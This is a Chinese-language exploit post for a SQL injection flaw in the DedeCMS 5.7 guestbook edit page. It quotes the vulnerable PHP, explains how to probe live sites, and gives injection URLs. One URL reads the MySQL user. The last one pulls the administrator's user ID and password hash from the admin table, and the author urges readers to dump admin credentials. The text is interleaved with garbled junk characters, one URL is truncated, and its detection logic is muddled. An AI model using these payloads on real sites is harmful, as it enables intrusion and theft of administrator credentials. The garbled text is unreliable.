dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7

4 H6 x- b& l7 T漏洞文件edit.inc.php具体代码：
  l; U" m. l" J9 t1 f2 B
6 r7 X+ A1 p  F7 C' u6 b< ?php  
/ Z. Y* e; V% Z: K+ S4 l2 y5 j+ F# l
if(!defined('DEDEINC')) exit('Request Error!');  

   
3 D0 R. _# _' ?
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
2 }7 i# n- L% C+ t
else $GUEST_BOOK_POS = "guestbook.php";  
9 u1 d$ d& }  ^: D4 u) M
   

1 A4 L% o% M4 U( B' S1 d$id = intval($id);  
0 C0 x3 I2 H$ a( v
; l! S! s. _, pif(empty($job)) $job='view';  

   
+ U4 W, c: y' G2 M
1 x$ X7 @8 n7 S0 L/ ~  \if($job=='del' && $g_isadmin)  

{  
- M# b7 Z8 }" Y2 {0 G2 m
1 Q  S( _, Y$ N% m9 t# d$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  

ShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  
8 `4 H: z; l# {6 f
exit();  

}  

else if($job=='check' && $g_isadmin)  
: p9 N: G* O1 z: }; X9 F
{  
  h7 ?# y: o; k3 M
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  

3 v* G, Q% t! A. C4 n( `ShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  
5 D% G! O  y' A/ w2 w6 b" w/ h, e
% M& c! X" k. x! l- j/ mexit();  

8 m4 Q8 Y1 c! b  L6 M% D}  

& o" ]/ u" S* |' m9 Z) O6 Yelse if($job=='editok')  
4 T# s3 f( r1 E
% W- v# W6 K3 T" b6 U2 \{  
; O4 K# }' F, h$ H
$remsg = trim($remsg);  

if($remsg!='')  
2 n$ \! Z% i% ?% [% _0 x
{  
2 K1 u/ k0 ]0 F7 B8 I, Y
//管理员回复不过滤HTML By:Errorera blog:errs.cc  
" N: f5 K+ T2 Q/ V; `
if($g_isadmin)  

{  

$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  

1 y& W1 V- Q. w) Q! `' _//$remsg <br /><font color=red>管理员回复：</font> }  
! v/ t5 F$ U5 H5 A2 N3 ]9 E
; |- ~' s0 U+ O, felse
( @( H3 ^9 [  g3 W. w, q- [& }
{  

$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  

$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  

$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  

$msg = $oldmsg.$remsg;  

6 y6 ]/ S) o2 |3 [}  

, ?0 l1 M: H2 I# i& g}  

//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  
  h" Y6 g; c2 r9 n5 e- ]
3 m: C1 H! ]- F& N& E" d* m$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
! E. M! q6 Z- p0 G& c
ShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  

exit();  
0 f: O- E# N6 B+ l6 `2 q
}  
( A, C+ h: o( r% v, M: e# \
, L; Q, x4 s( A# d  L9 K//home:www.errs.cc  
* R+ c4 c# Z: x7 a' g- }
if($g_isadmin)  

. C5 j' ^( U' J& K{  
- |# V' k4 H# s$ Y3 d2 T: |
% m; O* m1 X+ s$ v$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  

( r8 \6 z) Y# s! i. H, Frequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
+ H$ v, y; p! T9 T
# s0 L. j) x! U% {+ M( O- R4 S}  

2 H9 \* z; O# m+ |  O7 c8 ~else
5 X4 P$ z6 h8 q" Y! ^
. r- T+ @1 d% n4 o. h% K( B7 ?{  
6 R  X, w  l5 X. Q
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
" M5 c5 K' m6 {5 }& ^# V- v3 ^
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
9 h9 i- s, D6 U% [
4 u8 P4 U" `. T2 Q} 漏洞成功需要条件：
& C3 W# E7 X( A1. php magic_quotes_gpc=off
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
% k" A1 N) }/ e( J
怎么判断是否存在漏洞：
/ J* _) q$ V0 t  s3 b( p先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
  H0 o) e9 q! v5 W( y3 _访问：
* K- k3 b0 Y9 S; b7 s3 I) T
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
$ @3 F+ a# m! i! k1 w+ v8 }3 j! r: O跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
# K3 ?( ~% p8 K  |9 u1 B% }3 g. M
$ Q) s: Z( G( c) k( y0 b5 ^
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
1 C' M# u  J5 i' S; P- K' \3 l1 ]如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
' g! x/ e  _0 \5 R0 x$ O( T那么再次访问

' ?5 N* r- V8 \! j, Y) W: {www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().

( D+ Q/ Z4 `2 N2 V3 v, X# X4 O大概利用就是这样，大家有兴趣的多研究下！！

0 O% j/ @6 k; ~9 C最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！

: T" L5 ~# c4 ?# ^+ kview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='